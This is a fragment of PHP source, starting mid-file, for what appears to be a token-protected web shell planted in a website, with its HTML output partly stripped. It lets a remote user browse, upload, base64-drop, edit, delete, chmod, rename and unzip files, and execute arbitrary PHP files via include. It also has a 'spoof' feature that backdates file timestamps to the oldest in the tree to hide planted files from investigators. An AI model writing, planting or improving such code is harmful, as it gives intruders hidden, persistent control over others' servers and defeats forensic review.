';exit;} if(isset($_GET['d'])){$d=trim(str_replace(['..','\\',"\0"],'',str_replace('\\','/',$_GET['d'])),'/'); }else{$d=$_def;} $cur='/'.$d; $_Q='?t='.$TOK.'&d='.urlencode($d); if(isset($_GET['dl'])){$f=$cur.'/'.basename($_GET['dl']);if(is_file($f)){header('Content-Disposition:attachment;filename='.basename($f));readfile($f);exit;}} if(!function_exists('_wps_rmdir')){function _wps_rmdir($d){$it=@scandir($d);if($it)foreach($it as $n){if($n==='.'||$n==='..')continue;$fp=$d.'/'.$n;@is_dir($fp)?_wps_rmdir($fp):@unlink($fp);}@rmdir($d);}} if(!function_exists('_wps_oldest')){function _wps_oldest($d,&$o){$it=@scandir($d);if(!$it)return;foreach($it as $n){if($n==='.'||$n==='..')continue;$fp=$d.'/'.$n;$mt=@filemtime($fp);if($mt&&$mt<$o)$o=$mt;if(@is_dir($fp))_wps_oldest($fp,$o);}}} if(!function_exists('_wps_touch')){function _wps_touch($d,$ts,&$fc,&$dc){$it=@scandir($d);if(!$it)return;foreach($it as $n){if($n==='.'||$n==='..')continue;$fp=$d.'/'.$n;if(@is_dir($fp)){_wps_touch($fp,$ts,$fc,$dc);@touch($fp,$ts,$ts);$dc++;}else{@touch($fp,$ts,$ts);$fc++;}}}} if(!function_exists('_wps_fixp')){function _wps_fixp($d,&$fc,&$dc){$it=@scandir($d);if(!$it)return;foreach($it as $n){if($n==='.'||$n==='..')continue;$fp=$d.'/'.$n;if(@is_dir($fp)){@chmod($fp,0755);$dc++;_wps_fixp($fp,$fc,$dc);}else{@chmod($fp,0644);$fc++;}}}} if(!empty($_GET['rm'])){ $f=$cur.'/'.basename($_GET['rm']); if(@is_dir($f))_wps_rmdir($f);else @unlink($f); header('Location:'.$_Q);exit; } if(!empty($_POST['save'])){file_put_contents($cur.'/'.basename($_POST['fn']),$_POST['content']);header('Location:'.$_Q);exit;} if(isset($_FILES['upl'])){foreach($_FILES['upl']['name']as $i=>$n){if($_FILES['upl']['error'][$i]===0)move_uploaded_file($_FILES['upl']['tmp_name'][$i],$cur.'/'.basename($n));}header('Location:'.$_Q);exit;} if(!empty($_POST['b64fn'])&&isset($_POST['b64dat'])){ $fn=basename(str_replace(['..','\\','/'],'',$_POST['b64fn'])); $data=base64_decode(preg_replace('/\s+/','',$_POST['b64dat'])); if($fn&&$data!==false){file_put_contents($cur.'/'.$fn,$data);} header('Location:'.$_Q);exit; } if(!empty($_POST['chm'])){@chmod($cur.'/'.basename($_POST['chf']),octdec($_POST['chm']));header('Location:'.$_Q);exit;} if(!empty($_POST['nf'])){file_put_contents($cur.'/'.basename($_POST['nf']),'');header('Location:'.$_Q);exit;} if(!empty($_POST['nd'])){mkdir($cur.'/'.basename($_POST['nd']),0755,true);header('Location:'.$_Q);exit;} if(!empty($_POST['fixperms'])){ $fpt=($_POST['fixperms']==='root')?$_wall:$cur; $fc=$dc=0;_wps_fixp($fpt,$fc,$dc);@chmod($fpt,0755); die('Fixed: '.$dc.' dirs 755, '.$fc.' files 644
Back'); } if(!empty($_POST['spoof'])){ $sp_root=($_POST['spoof']==='root')?$_wall:$cur; $oldest=time();_wps_oldest($sp_root,$oldest); $fc=$dc=0;_wps_touch($sp_root,$oldest,$fc,$dc);@touch($sp_root,$oldest,$oldest); $label=date('Y-m-d H:i:s',$oldest); die('Spoofed: '.$dc.' dirs + '.$fc.' files → '.$label.'
Back'); } if(!empty($_GET['spoof_f'])){ $f=$cur.'/'.basename($_GET['spoof_f']); if(file_exists($f)){ $oldest=time(); $it=@scandir($cur); if($it)foreach($it as $n){if($n==='.'||$n==='..')continue;$mt=@filemtime($cur.'/'.$n);if($mt&&$mt<$oldest)$oldest=$mt;} @touch($f,$oldest,$oldest); } header('Location:'.$_Q);exit; } if(!empty($_GET['run'])){ $f=$cur.'/'.basename($_GET['run']); if(@is_file($f)&&@is_readable($f)){ ob_start(); $old_dir=@getcwd(); @chdir(dirname($f)); include($f); if($old_dir)@chdir($old_dir); $out=ob_get_clean(); die(''.htmlspecialchars($out).'

Back'); } header('Location:'.$_Q);exit; } if(!empty($_POST['rnf'])&&!empty($_POST['rnt'])){ $from=$cur.'/'.basename($_POST['rnf']); $to=$cur.'/'.basename(str_replace(['..','\\','/'],'',$_POST['rnt'])); @rename($from,$to);header('Location:'.$_Q);exit; } if(!empty($_POST['unzip'])){ $zf=$cur.'/'.basename($_POST['unzip']); $msg=''; if(class_exists('ZipArchive')){ $z=new ZipArchive;$r=$z->open($zf); if($r===true){$z->extractTo($cur);$z->close();$msg='Extracted OK';} else{$msg='ZipArchive error: '.$r;} }else{ $out=@shell_exec('cd '.escapeshellarg($cur).' && unzip -o '.escapeshellarg($zf).' 2>&1'); if($out===null){$out=@exec('unzip -o '.escapeshellarg($zf).' -d '.escapeshellarg($cur).' 2>&1');} $msg=$out?trim($out):'No ZipArchive and exec disabled'; } die(''.htmlspecialchars($msg).'

Back'); } $_bc=explode('/',$d);$_acc=''; $_bparts=array_values(array_filter(explode('/',str_replace('\\','/',$BASE)))); ?>
/'; for($i=0;$i'.htmlspecialchars($_bparts[$i]).' /';} if($_bparts)echo ' '.htmlspecialchars(end($_bparts)).''; foreach($_bc as $_p){if($_p==='')continue;$_acc=$_acc?$_acc.'/'.$_p:$_p; echo ' / '.htmlspecialchars($_p).'';} ?>
'. '
Editing: '.htmlspecialchars($_ed).'
'. ''. '
'. ' '. 'Cancel'; }else{ $all=array_merge(glob($cur.'/.*')?:[],glob($cur.'/*')?:[]); usort($all,function($a,$b){$ad=is_dir($a);$bd=is_dir($b);if($ad!==$bd)return $bd-$ad;return strcasecmp(basename($a),basename($b));}); echo ''; echo ''; foreach($all as $it){ $n=basename($it);if($n==='.'||$n==='..')continue; $sp=$d?$d.'/'.$n:$n;$isd=is_dir($it); $perm=substr(sprintf('%o',fileperms($it)),-4); $iszip=(!$isd&&strtolower(substr($n,-4))==='.zip'); $mtime=@filemtime($it);$mdate=$mtime?date('Y-m-d H:i',$mtime):''; $wr=@is_writable($it); $rc=$isd?'dr':''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '
TNamePermsSizeModifiedActions
'.($isd?'D':'F').''.($isd?''.htmlspecialchars($n).'':''.htmlspecialchars($n).'').''.$perm.''.(!$isd?number_format(filesize($it)).' B':'—').''.$mdate.''; if(!$isd)echo 'edit'. 'download'. (strtolower(substr($n,-4))==='.php'?'run':''); echo 'spoof'; echo 'delete'; if($iszip)echo '
'; echo '
'. ''. ''. '
'; echo '
'. ''. ''. '
'; echo '
'; } ?>